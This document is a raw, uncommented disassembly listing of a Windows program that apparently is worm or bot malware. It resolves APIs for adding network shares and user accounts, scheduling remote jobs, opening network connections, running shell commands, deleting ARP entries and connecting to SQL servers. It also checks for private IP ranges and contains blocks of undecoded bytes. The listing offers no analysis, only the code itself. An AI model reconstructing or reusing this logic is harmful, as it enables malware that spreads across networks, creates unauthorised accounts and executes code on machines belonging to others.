loc_401DB8 cmp ds:dword_4513FC, ebx jz short loc_401DB8 cmp ds:dword_4513F4, ebx jz short loc_401DB8 cmp ds:dword_451404, ebx jz short loc_401DB8 cmp eax, ebx jnz short loc_401DC2 loc_401DB8: ; CODE XREF: sub_4014F8+87Ej ; sub_4014F8+886j ... mov ds:dword_4515D8, 1 loc_401DC2: ; CODE XREF: sub_4014F8+8BEj cmp ecx, ebx jz short loc_401DF7 push ebx push ebx push ebx push ebx push offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)" call ecx ; dword_45148C cmp eax, ebx mov ds:dword_4514A4, eax jnz short loc_401DF7 jmp short loc_401DF1 ; --------------------------------------------------------------------------- loc_401DDC: ; CODE XREF: sub_4014F8+7EAj call ds:dword_4F1310 ; RtlGetLastWin32Error mov ds:dword_4515DC, eax mov ds:dword_4515D8, 1 loc_401DF1: ; CODE XREF: sub_4014F8+8E2j mov ds:dword_4514A4, ebx loc_401DF7: ; CODE XREF: sub_4014F8+8CCj ; sub_4014F8+8E0j push offset aIcmp_dll ; "icmp.dll" call ebp ; dword_4F130C mov edi, eax cmp edi, ebx jz short loc_401E41 push offset aIcmpcreatefile ; "IcmpCreateFile" push edi call esi ; dword_4F1314 push offset aIcmpclosehandl ; "IcmpCloseHandle" push edi mov ds:dword_45147C, eax call esi ; dword_4F1314 push offset aIcmpsendecho ; "IcmpSendEcho" push edi mov ds:dword_4515A8, eax call esi ; dword_4F1314 cmp ds:dword_45147C, ebx mov ds:dword_451410, eax jz short loc_401E4C cmp ds:dword_4515A8, ebx jz short loc_401E4C cmp eax, ebx jnz short loc_401E56 jmp short loc_401E4C ; --------------------------------------------------------------------------- loc_401E41: ; CODE XREF: sub_4014F8+90Aj call ds:dword_4F1310 ; RtlGetLastWin32Error mov ds:dword_4515E4, eax loc_401E4C: ; CODE XREF: sub_4014F8+939j ; sub_4014F8+941j ... mov ds:dword_4515E0, 1 loc_401E56: ; CODE XREF: sub_4014F8+945j push offset aNetapi32_dll ; "netapi32.dll" call ebp ; dword_4F130C mov edi, eax cmp edi, ebx jz loc_401F5D push offset aNetshareadd ; "NetShareAdd" push edi call esi ; dword_4F1314 push offset aNetsharedel ; "NetShareDel" push edi mov ds:dword_4513EC, eax call esi ; dword_4F1314 push offset aNetshareenum ; "NetShareEnum" push edi mov ds:dword_4513C4, eax call esi ; dword_4F1314 push offset aNetschedulejob ; "NetScheduleJobAdd" push edi mov ds:dword_45143C, eax call esi ; dword_4F1314 push offset aNetapibufferfr ; "NetApiBufferFree" push edi mov ds:dword_45146C, eax call esi ; dword_4F1314 push offset aNetremotetod ; "NetRemoteTOD" push edi mov ds:dword_451580, eax call esi ; dword_4F1314 push offset aNetuseradd ; "NetUserAdd" push edi mov ds:dword_451424, eax call esi ; dword_4F1314 push offset aNetuserdel ; "NetUserDel" push edi mov ds:dword_4513D0, eax call esi ; dword_4F1314 push offset aNetuserenum ; "NetUserEnum" push edi mov ds:dword_4513C0, eax call esi ; dword_4F1314 push offset aNetusergetinfo ; "NetUserGetInfo" push edi mov ds:dword_451454, eax call esi ; dword_4F1314 push offset aNetmessagebuff ; "NetMessageBufferSend" push edi mov ds:dword_451548, eax call esi ; dword_4F1314 push offset aNetwkstagetinf ; "NetWkstaGetInfo" push edi mov ds:dword_451504, eax call esi ; dword_4F1314 cmp ds:dword_4513EC, ebx mov ds:dword_45142C, eax jz short loc_401F68 cmp ds:dword_4513C4, ebx jz short loc_401F68 cmp ds:dword_45143C, ebx jz short loc_401F68 cmp ds:dword_45146C, ebx jz short loc_401F68 cmp ds:dword_451580, ebx jz short loc_401F68 cmp ds:dword_451424, ebx jz short loc_401F68 cmp ds:dword_4513D0, ebx jz short loc_401F68 cmp ds:dword_4513C0, ebx jz short loc_401F68 cmp ds:dword_451454, ebx jz short loc_401F68 cmp ds:dword_451548, ebx jz short loc_401F68 cmp ds:dword_451504, ebx jnz short loc_401F72 jmp short loc_401F68 ; --------------------------------------------------------------------------- loc_401F5D: ; CODE XREF: sub_4014F8+969j call ds:dword_4F1310 ; RtlGetLastWin32Error mov ds:dword_4515EC, eax loc_401F68: ; CODE XREF: sub_4014F8+A11j ; sub_4014F8+A19j ... mov ds:dword_4515E8, 1 loc_401F72: ; CODE XREF: sub_4014F8+A61j push offset aDnsapi_dll ; "dnsapi.dll" call ebp ; dword_4F130C mov edi, eax cmp edi, ebx jz short loc_401FA7 push offset aDnsflushresolv ; "DnsFlushResolverCache" push edi call esi ; dword_4F1314 push offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A" push edi mov ds:dword_451414, eax call esi ; dword_4F1314 cmp ds:dword_451414, ebx mov ds:dword_4514EC, eax jz short loc_401FB2 cmp eax, ebx jnz short loc_401FBC jmp short loc_401FB2 ; --------------------------------------------------------------------------- loc_401FA7: ; CODE XREF: sub_4014F8+A85j call ds:dword_4F1310 ; RtlGetLastWin32Error mov ds:dword_4515F4, eax loc_401FB2: ; CODE XREF: sub_4014F8+AA7j ; sub_4014F8+AADj mov ds:dword_4515F0, 1 loc_401FBC: ; CODE XREF: sub_4014F8+AABj push offset aIphlpapi_dll ; "iphlpapi.dll" call ebp ; dword_4F130C mov edi, eax cmp edi, ebx jz short loc_401FF1 push offset aGetipnettable ; "GetIpNetTable" push edi call esi ; dword_4F1314 push offset aDeleteipnetent ; "DeleteIpNetEntry" push edi mov ds:dword_45156C, eax call esi ; dword_4F1314 cmp ds:dword_45156C, ebx mov ds:dword_451568, eax jz short loc_401FFC cmp eax, ebx jnz short loc_402006 jmp short loc_401FFC ; --------------------------------------------------------------------------- loc_401FF1: ; CODE XREF: sub_4014F8+ACFj call ds:dword_4F1310 ; RtlGetLastWin32Error mov ds:dword_4515FC, eax loc_401FFC: ; CODE XREF: sub_4014F8+AF1j ; sub_4014F8+AF7j mov ds:dword_4515F8, 1 loc_402006: ; CODE XREF: sub_4014F8+AF5j push offset aMpr_dll ; "mpr.dll" call ebp ; dword_4F130C mov edi, eax cmp edi, ebx jz short loc_402065 push offset aWnetaddconnect ; "WNetAddConnection2A" push edi call esi ; dword_4F1314 push offset aWnetaddconne_0 ; "WNetAddConnection2W" push edi mov ds:dword_451598, eax call esi ; dword_4F1314 push offset aWnetcancelconn ; "WNetCancelConnection2A" push edi mov ds:dword_451590, eax call esi ; dword_4F1314 push offset aWnetcancelco_0 ; "WNetCancelConnection2W" push edi mov ds:dword_451558, eax call esi ; dword_4F1314 cmp ds:dword_451598, ebx mov ds:dword_451430, eax jz short loc_402070 cmp ds:dword_451590, ebx jz short loc_402070 cmp ds:dword_451558, ebx jz short loc_402070 cmp eax, ebx jnz short loc_40207A jmp short loc_402070 ; --------------------------------------------------------------------------- loc_402065: ; CODE XREF: sub_4014F8+B19j call ds:dword_4F1310 ; RtlGetLastWin32Error mov ds:dword_451604, eax loc_402070: ; CODE XREF: sub_4014F8+B55j ; sub_4014F8+B5Dj ... mov ds:dword_451600, 1 loc_40207A: ; CODE XREF: sub_4014F8+B69j push offset aShell32_dll ; "shell32.dll" call ebp ; dword_4F130C mov edi, eax cmp edi, ebx jz short loc_4020AF push offset aShellexecutea ; "ShellExecuteA" push edi call esi ; dword_4F1314 push offset aShchangenotify ; "SHChangeNotify" push edi mov ds:dword_451460, eax call esi ; dword_4F1314 cmp ds:dword_451460, ebx mov ds:dword_451564, eax jz short loc_4020BA cmp eax, ebx jnz short loc_4020C4 jmp short loc_4020BA ; --------------------------------------------------------------------------- loc_4020AF: ; CODE XREF: sub_4014F8+B8Dj call ds:dword_4F1310 ; RtlGetLastWin32Error mov ds:dword_45160C, eax loc_4020BA: ; CODE XREF: sub_4014F8+BAFj ; sub_4014F8+BB5j mov ds:dword_451608, 1 loc_4020C4: ; CODE XREF: sub_4014F8+BB3j push offset aOdbc32_dll ; "odbc32.dll" call ebp ; dword_4F130C mov edi, eax cmp edi, ebx jz short loc_40214D push offset aSqldriverconne ; "SQLDriverConnect" push edi call esi ; dword_4F1314 push offset aSqlsetenvattr ; "SQLSetEnvAttr" push edi mov ds:dword_45152C, eax call esi ; dword_4F1314 push offset aSqlexecdirect ; "SQLExecDirect" push edi mov ds:dword_451578, eax call esi ; dword_4F1314 push offset aSqlallochandle ; "SQLAllocHandle" push edi mov ds:dword_4514B8, eax call esi ; dword_4F1314 push offset aSqlfreehandle ; "SQLFreeHandle" push edi mov ds:dword_451470, eax call esi ; dword_4F1314 push offset aSqldisconnect ; "SQLDisconnect" push edi mov ds:dword_451510, eax call esi ; dword_4F1314 cmp ds:dword_45152C, ebx mov ds:dword_451480, eax jz short loc_402158 cmp ds:dword_451578, ebx jz short loc_402158 cmp ds:dword_4514B8, ebx jz short loc_402158 cmp ds:dword_451470, ebx jz short loc_402158 cmp ds:dword_451510, ebx jz short loc_402158 cmp eax, ebx jnz short loc_402162 jmp short loc_402158 ; --------------------------------------------------------------------------- loc_40214D: ; CODE XREF: sub_4014F8+BD7j call ds:dword_4F1310 ; RtlGetLastWin32Error mov ds:dword_451614, eax loc_402158: ; CODE XREF: sub_4014F8+C2Dj ; sub_4014F8+C35j ... mov ds:dword_451610, 1 loc_402162: ; CODE XREF: sub_4014F8+C51j push 1 pop eax pop edi pop esi pop ebp pop ebx retn sub_4014F8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40216A proc near ; CODE XREF: seg000:00407C57p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push ebx mov ebx, [ebp+arg_4] push esi xor esi, esi cmp ds:dword_4515B0, esi push edi mov edi, [ebp+arg_8] jz short loc_4021B2 push ds:dword_4515B4 lea eax, [ebp+var_200] push offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>" push eax call sub_41D260 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40145D add esp, 20h loc_4021B2: ; CODE XREF: sub_40216A+1Aj cmp ds:dword_4515B8, esi jz short loc_4021E6 push ds:dword_4515BC lea eax, [ebp+var_200] push offset aUser32_dllFail ; "User32.dll failed. <%d>" push eax call sub_41D260 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40145D add esp, 20h loc_4021E6: ; CODE XREF: sub_40216A+4Ej cmp ds:dword_4515C0, esi jz short loc_40221A push ds:dword_4515C4 lea eax, [ebp+var_200] push offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>" push eax call sub_41D260 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40145D add esp, 20h loc_40221A: ; CODE XREF: sub_40216A+82j cmp ds:dword_4515C8, esi jz short loc_40224E push ds:dword_4515CC lea eax, [ebp+var_200] push offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>" push eax call sub_41D260 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40145D add esp, 20h loc_40224E: ; CODE XREF: sub_40216A+B6j cmp ds:dword_4515D0, esi jz short loc_402282 push ds:dword_4515D4 lea eax, [ebp+var_200] push offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>" push eax call sub_41D260 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40145D add esp, 20h loc_402282: ; CODE XREF: sub_40216A+EAj cmp ds:dword_4515D8, esi jz short loc_4022B6 push ds:dword_4515DC lea eax, [ebp+var_200] push offset aWininet_dllFai ; "Wininet.dll failed. <%d>" push eax call sub_41D260 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40145D add esp, 20h loc_4022B6: ; CODE XREF: sub_40216A+11Ej cmp ds:dword_4515E0, esi jz short loc_4022EA push ds:dword_4515E4 lea eax, [ebp+var_200] push offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>" push eax call sub_41D260 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40145D add esp, 20h loc_4022EA: ; CODE XREF: sub_40216A+152j cmp ds:dword_4515E8, esi jz short loc_40231E push ds:dword_4515EC lea eax, [ebp+var_200] push offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>" push eax call sub_41D260 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40145D add esp, 20h loc_40231E: ; CODE XREF: sub_40216A+186j cmp ds:dword_4515F0, esi jz short loc_402352 push ds:dword_4515F4 lea eax, [ebp+var_200] push offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>" push eax call sub_41D260 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40145D add esp, 20h loc_402352: ; CODE XREF: sub_40216A+1BAj cmp ds:dword_4515F8, esi jz short loc_402386 push ds:dword_4515FC lea eax, [ebp+var_200] push offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>" push eax call sub_41D260 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40145D add esp, 20h loc_402386: ; CODE XREF: sub_40216A+1EEj cmp ds:dword_451600, esi jz short loc_4023BA push ds:dword_451604 lea eax, [ebp+var_200] push offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>" push eax call sub_41D260 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40145D add esp, 20h loc_4023BA: ; CODE XREF: sub_40216A+222j cmp ds:dword_451608, esi jz short loc_4023EE push ds:dword_45160C lea eax, [ebp+var_200] push offset aShell32_dllFai ; "Shell32.dll failed. <%d>" push eax call sub_41D260 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40145D add esp, 20h loc_4023EE: ; CODE XREF: sub_40216A+256j cmp ds:dword_451610, esi jz short loc_402422 push ds:dword_451614 lea eax, [ebp+var_200] push offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>" push eax call sub_41D260 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40145D add esp, 20h loc_402422: ; CODE XREF: sub_40216A+28Aj lea eax, [ebp+var_200] push offset dword_43CA98 push eax call sub_41D260 cmp [ebp+arg_C], esi pop ecx pop ecx jnz short loc_40244F push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40145D add esp, 14h loc_40244F: ; CODE XREF: sub_40216A+2CEj lea eax, [ebp+var_200] push eax call sub_4161A7 pop ecx pop edi pop esi pop ebx leave retn sub_40216A endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 20h cmp dword ptr [ebp+8], 0 push esi jz loc_4024F6 push offset dword_451634 push dword ptr [ebp+8] call sub_41D900 pop ecx test eax, eax pop ecx jz short loc_4024F6 push 20h lea eax, [ebp-20h] push dword ptr [ebp+8] push eax call sub_41D800 lea eax, [ebp-20h] push offset dword_43CAD8 push eax call sub_41D6B0 add esp, 14h test eax, eax jz short loc_4024F6 push eax call sub_41D560 mov dword ptr [esp], offset dword_43CADC push 0 mov esi, eax call sub_41D6B0 pop ecx test eax, eax pop ecx jz short loc_4024F6 push eax call sub_41D560 cmp esi, 0Ah pop ecx jz short loc_4024F1 cmp esi, 0ACh jnz short loc_4024E2 cmp eax, 0Fh jle short loc_4024F6 cmp eax, 20h jl short loc_4024F1 loc_4024E2: ; CODE XREF: seg000:004024D6j cmp esi, 0C0h jnz short loc_4024F6 cmp eax, 0A8h jnz short loc_4024F6 loc_4024F1: ; CODE XREF: seg000:004024CEj ; seg000:004024E0j push 1 pop eax jmp short loc_4024F8 ; --------------------------------------------------------------------------- loc_4024F6: ; CODE XREF: seg000:0040246Cj ; seg000:00402483j ... xor eax, eax loc_4024F8: ; CODE XREF: seg000:004024F4j pop esi leave retn ; =============== S U B R O U T I N E ======================================= sub_4024FB proc near ; CODE XREF: sub_402D46+4Fp ; sub_411418+52p ... arg_0 = dword ptr 4 push [esp+arg_0] call ds:dword_451530 cmp eax, 0FFFFFFFFh jnz short locret_402523 push [esp+arg_0] call ds:dword_451574 test eax, eax jnz short loc_40251C or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_40251C: ; CODE XREF: sub_4024FB+1Bj mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] locret_402523: ; CODE XREF: sub_4024FB+Dj retn sub_4024FB endp ; =============== S U B R O U T I N E ======================================= sub_402524 proc near ; CODE XREF: sub_402D46+D6p mov ecx, ds:dword_451414 xor eax, eax test ecx, ecx jz short locret_402532 call ecx ; dword_451414 locret_402532: ; CODE XREF: sub_402524+Aj retn sub_402524 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402533 proc near ; CODE XREF: seg000:loc_407B95p var_88 = byte ptr -88h var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 88h push ebx push esi push edi push 1 pop ebx lea eax, [ebp+var_8] xor edi, edi push ebx push eax push edi xor esi, esi mov [ebp+var_8], edi mov [ebp+var_4], ebx call ds:dword_45156C mov ecx, eax sub ecx, edi jz loc_4025FF sub ecx, 32h jz loc_4025F8 sub ecx, 48h jz short loc_402593 sub ecx, 6Eh jz short loc_40258C push eax push offset dword_43CBF8 loc_40257B: ; CODE XREF: sub_402533+91j lea eax, [ebp+var_88] push eax call sub_41D260 add esp, 0Ch jmp short loc_4025D9 ; --------------------------------------------------------------------------- loc_40258C: ; CODE XREF: sub_402533+40j push offset dword_43CB70 jmp short loc_4025CB ; --------------------------------------------------------------------------- loc_402593: ; CODE XREF: sub_402533+3Bj push [ebp+var_8] call sub_41AE40 push [ebp+var_8] mov esi, eax push edi push esi call sub_41D100 add esp, 10h cmp esi, edi jz short loc_4025C6 lea eax, [ebp+var_8] push ebx push eax push esi call ds:dword_45156C cmp eax, edi jz short loc_4025FF push eax push offset dword_43CAE0 jmp short loc_40257B ; --------------------------------------------------------------------------- loc_4025C6: ; CODE XREF: sub_402533+79j push offset dword_43CB28 loc_4025CB: ; CODE XREF: sub_402533+5Ej ; sub_402533+CAj lea eax, [ebp+var_88] push eax call sub_41D260 pop ecx pop ecx loc_4025D9: ; CODE XREF: sub_402533+57j lea eax, [ebp+var_88] mov [ebp+var_4], edi push eax call sub_4161A7 pop ecx loc_4025E9: ; CODE XREF: sub_402533+CEj ; sub_402533+E2j push esi call sub_41B8B0 mov eax, [ebp+var_4] pop ecx pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_4025F8: ; CODE XREF: sub_402533+32j push offset dword_43CBB0 jmp short loc_4025CB ; --------------------------------------------------------------------------- loc_4025FF: ; CODE XREF: sub_402533+29j ; sub_402533+89j cmp [esi], edi jbe short loc_4025E9 lea ebx, [esi+4] loc_402606: ; CODE XREF: sub_402533+E0j push ebx call ds:dword_451568 inc edi add ebx, 18h cmp edi, [esi] jb short loc_402606 jmp short loc_4025E9 sub_402533 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402617 proc near ; CODE XREF: seg000:0040609Fp ; seg000:00407952p ... var_14 = byte ptr -14h var_10 = byte ptr -10h var_F = byte ptr -0Fh var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h push esi push 10h pop eax mov [ebp+var_4], eax push eax lea eax, [ebp+var_14] push 0 push eax call sub_41D100 add esp, 0Ch lea eax, [ebp+var_4] push eax lea eax, [ebp+var_14] push eax push [ebp+arg_0] call ds:dword_451498 movzx eax, [ebp+var_D] push eax mov esi, offset dword_451620 movzx eax, [ebp+var_E] push eax movzx eax, [ebp+var_F] push eax movzx eax, [ebp+var_10] push eax push offset aD_D_D_D ; "%d.%d.%d.%d" push esi call sub_41D260 add esp, 18h mov eax, esi pop esi leave retn sub_402617 endp ; =============== S U B R O U T I N E ======================================= sub_402670 proc near ; CODE XREF: seg000:00409E12p ; sub_414853+1C8p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_4] xor eax, eax cmp esi, 1 jle short loc_402699 mov ecx, esi push edi shr ecx, 1 mov edx, ecx neg edx lea esi, [esi+edx*2] mov edx, [esp+8+arg_0] loc_40268C: ; CODE XREF: sub_402670+24j movzx edi, word ptr [edx] add eax, edi inc edx inc edx dec ecx jnz short loc_40268C pop edi jmp short loc_40269D ; --------------------------------------------------------------------------- loc_402699: ; CODE XREF: sub_402670+Aj mov edx, [esp+4+arg_0] loc_40269D: ; CODE XREF: sub_402670+27j test esi, esi pop esi jz short loc_4026A7 movzx ecx, byte ptr [edx] add eax, ecx loc_4026A7: ; CODE XREF: sub_402670+30j mov ecx, eax and eax, 0FFFFh shr ecx, 10h add ecx, eax mov eax, ecx shr eax, 10h add eax, ecx not eax retn sub_402670 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx mov eax, [ebp+0Ch] mov edx, [ebp+8] push esi xor esi, esi cmp eax, 1 mov [ebp-4], esi jle short loc_4026EA mov ecx, eax push edi shr ecx, 1 lea edi, [ecx+ecx] sub eax, edi loc_4026DC: ; CODE XREF: seg000:004026E4j movzx edi, word ptr [edx] add esi, edi inc edx inc edx dec ecx jnz short loc_4026DC pop edi cmp eax, 1 loc_4026EA: ; CODE XREF: seg000:004026D0j jnz short loc_4026F7 mov al, [edx] mov [ebp-4], al movzx eax, word ptr [ebp-4] add esi, eax loc_4026F7: ; CODE XREF: seg000:loc_4026EAj mov ecx, esi and esi, 0FFFFh sar ecx, 10h add ecx, esi pop esi mov eax, ecx sar eax, 10h add eax, ecx not eax leave retn ; --------------------------------------------------------------------------- loc_402710: ; CODE XREF: seg000:00420C51p push ebp mov ebp, esp sub esp, 988h push ebx xor ebx, ebx push esi push edi mov [ebp-8], ebx mov [ebp-0Ch], ebx mov dword ptr [ebp-4], offset sub_40132F push dword ptr [ebp-4] push large dword ptr fs:0 mov large fs:0, esp mov esi, ds:dword_4F1340 call esi ; dword_4F1340 xor edx, edx mov ecx, 3E8h div ecx mov ds:dword_4DF1BC, eax call esi ; dword_4F1340 push eax call sub_41DB90 pop ecx call sub_4014F8 push 2 call ds:dword_45159C push 7530h push offset aRbg78 ; "rbg78" push ebx push ebx call near ptr 3D0000h dec ebp push eax call near ptr 3D0000h jz short loc_4027BF add al, [ecx] ; --------------------------------------------------------------------------- dd 8750000h, 15FF016Ah, 4F12F8h, 0F77C858Dh, 6850FFFFh dd 202h, 146415FFh, 0C33B0045h, 593850Fh, 0BD800000h, 0FFFFF77Ch dd 80850F02h, 33000005h, 7D858AC0h db 0F7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4027BF: ; CODE XREF: seg000:00402780j cmp al, 2 jnz loc_402D37 mov esi, 104h lea eax, [ebp-3F0h] push esi push eax call near ptr 3D0000h ; --------------------------------------------------------------------------- db 0D9h, 8Dh, 85h dd 0FFFFFD14h, 0E8535056h, 0FFFCD818h, 11E850EDh, 0E5FFFCD8h dd 0FA0C858Dh, 8D50FFFFh, 0FFF90C85h, 8D5350FFh, 0FFFD1485h dd 0E85053FFh, 1B454h, 0FA0C858Dh, 8D50FFFFh, 0FFF90C85h dd 146850FFh, 8D0043D6h, 0FFFB0C85h, 0E85056FFh, 1AB34h dd 0FC10858Dh, 8D50FFFFh, 0FFFD1485h, 0A1E850FFh, 830001B3h dd 0C08530C4h, 1B8850Fh, 1D390000h, 43CC6Ch, 43CCBCBEh dd 56317400h, 11E8FF33h, 83000184h, 745904E8h, 0B336E823h dd 1A6A0001h, 0F9F75999h, 61C28056h, 0CCBC9788h, 0E8470043h dd 183F0h, 5904E883h, 0DD72F83Bh, 0FC10858Dh, 5056FFFFh dd 0FE18858Dh, 1C68FFFFh, 500043D6h, 1A9BFE8h, 10C48300h dd 0FE18858Dh, 0FF50FFFFh, 4F133415h, 0FFF88300h, 858D1274h dd 0FFFFFE18h, 8068h, 39E85000h, 3FFFCD7h, 132C358Bh, 858D004Fh dd 0FFFFFE18h, 858D5053h, 0FFFFFD14h, 0FF50FF33h, 75C085D6h dd 1015FF33h, 3B004F13h, 832975FBh, 57420F8h, 7505F883h dd 5F016A1Fh, 3A9868h, 0F415FF00h, 8D004F12h, 0FFFE1885h dd 8D5053FFh, 0FFFD1485h, 0C7EB50FFh, 0FE18858Dh, 0E850FFFFh dd 1515Bh, 18858D59h, 6AFFFFFEh, 0CDE85007h, 2FFFFCD6h dd 458D106Ah, 0E85053E0h, 1A7C0h, 858D446Ah, 0FFFFFF1Ch dd 5053565Eh, 1A7AFE8h, 18C48300h, 0FF1CB589h, 85C7FFFFh dd 0FFFFFF28h, 4DF344h, 4C9D8966h, 6AFFFFFFh, 0B5895E01h dd 0FFFFFF48h, 0FCD687E8h, 565090FFh, 10000068h, 0D67AE800h dd 8D48FFFCh, 0FFFD148Dh, 8D5051FFh, 0FFFE1885h, 858D50FFh dd 0FFFFF678h, 43D62468h, 0B9E85000h, 830001A8h, 458D14C4h dd 858D50E0h, 0FFFFFF1Ch, 10858D50h, 50FFFFFCh, 56286A53h dd 78858D53h, 53FFFFF6h, 18858D50h, 50FFFFFEh, 0FCD62BE8h dd 0C085D4FFh, 0C8682874h, 0FF000000h, 4F12F415h, 0E075FF00h dd 12FC358Bh, 0D6FF004Fh, 0FFE475FFh, 4C15FFD6h, 53004514h dd 12F815FFh, 3D83004Fh, 4EE97Ch, 0A1437E02h, 4EE980h dd 0E80470FFh, 1AB48h, 6AF08B59h, 0DDE856FFh, 1BFFFCD5h dd 0FC15FF56h, 0A1004F12h, 4EE980h, 74085839h, 7D06819h dd 15FF0000h, 4F12F4h, 4EE980A1h, 870FF00h, 0FCD5B3E8h dd 1D394EFFh, 43CC70h, 1D391574h, 4515C0h, 858D0D75h, 0FFFFFB0Ch dd 0E596E850h, 8D59FFFFh, 0FFFF6085h, 0D63068FFh, 0E8500043h dd 1A7E4h, 60858D53h, 53FFFFFFh, 62B5E850h, 858D0000h dd 0FFFFFF60h, 3711E850h, 80680001h, 5300000Bh, 45163868h dd 0A65AE800h, 858D0001h, 0FFFFFF60h, 43D64868h, 0A9E85000h dd 530001A7h, 0FF60858Dh, 16AFFFFh, 6279E850h, 0C4830000h dd 8BF88B38h, 4F131C35h, 0F8458D00h, 68535350h, 41939Eh dd 0D6FF5353h, 234FF69h, 0C33B0000h, 23CC8789h, 1B750045h dd 131015FFh, 8D50004Fh, 0FFFF6085h, 0D66868FFh, 0E8500043h dd 1A758h, 8D0CC483h, 0FFFF6085h, 90E850FFh, 8D000136h dd 0FFFF6085h, 2404C7FFh, 43D6A4h, 0A736E850h, 8D530001h dd 0FFFF6085h, 50016AFFh, 6206E8h, 14C48300h, 458DF88Bh dd 858D50F8h, 0FFFFFB0Ch, 70685053h, 53004010h, 69D6FF53h dd 234FFh, 89C33B00h, 4523CC87h, 0FF1B7500h, 4F131015h dd 858D5000h, 0FFFFFF60h, 43D6C868h, 0E5E85000h, 830001A6h dd 858D0CC4h, 0FFFFFF60h, 361DE850h, 26A0001h, 63F6E8h dd 0C0855900h, 8D6C7559h, 0FFFF6085h, 0D70068FFh, 0E8500043h dd 1A6B8h, 60858D53h, 6AFFFFFFh, 88E85002h, 83000061h dd 0F88B14C4h, 50F8458Dh, 39685753h, 53004115h, 69D6FF53h dd 234FFh, 89C33B00h, 4523CC87h, 0FF1B7500h, 4F131015h dd 858D5000h, 0FFFFFF60h, 43D72868h, 6DE85000h, 830001A6h dd 858D0CC4h, 0FFFFFF60h, 35A5E850h, 0E8590001h, 1AF98h dd 98687F6Ah, 680043CCh, 4DF1C4h, 4DF33CA3h, 0ABE2E800h dd 4CA10001h, 6A0043CCh, 0F244BF3Fh, 0A868004Dh, 570043CCh dd 4DF314A3h, 0ABC6E800h, 3F6A0001h, 4DF284BEh, 0CCB06800h dd 0E8560043h, 1ABB4h, 8924C483h, 4DF3181Dh, 0FC5D8900h dd 4DF1C068h, 381D8900h, 0E8004DF3h, 0DEh, 8902F883h, 840FF045h dd 0BEh, 0F3381D39h, 374004Dh, 68FC4DFFh, 0BB8h, 12F415FFh dd 45FF004Fh, 0FC7D83FCh, 83C57C06h, 0F02F07Dh, 9584h dd 0F45D3900h, 7F6A4074h, 43CC9868h, 0F1C46800h, 4DE8004Dh dd 0A10001ABh, 43CC4Ch, 0A8683F6Ah, 570043CCh, 4DF314A3h dd 0AB36E800h, 3F6A0001h, 43CCB068h, 29E85600h, 830001ABh dd 5D8924C4h, 0FF73E9F4h, 1D38FFFFh, 4DF32Ch, 0FF67840Fh dd 7F6AFFFFh, 4DF32C68h, 0F1C46800h, 1E8004Dh, 0A10001ABh dd 43CC50h, 30683F6Ah, 57004DF3h, 4DF314A3h, 0AAEAE800h dd 3F6A0001h, 4DF33468h, 0DDE85600h, 830001AAh, 45C724C4h dd 1F4h, 0FF23E900h, 0D1E8FFFFh db 61h, 2 dup(0) ; --------------------------------------------------------------------------- loc_402D37: ; CODE XREF: seg000:004027C1j call ds:dword_45144C pop edi pop esi xor eax, eax pop ebx leave retn 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402D46 proc near ; DATA XREF: seg000:00406507o var_190 = dword ptr -190h var_18C = byte ptr -18Ch var_10C = byte ptr -10Ch var_CC = byte ptr -0CCh var_8C = byte ptr -8Ch var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_2C = byte ptr -2Ch var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 190h mov eax, [ebp+arg_0] push esi push edi push 59h pop ecx mov esi, eax lea edi, [ebp+var_190] rep movsd mov dword ptr [eax+160h], 1 loc_402D6B: ; CODE XREF: sub_402D46+E6j ; sub_402D46+136j ... push 10h lea eax, 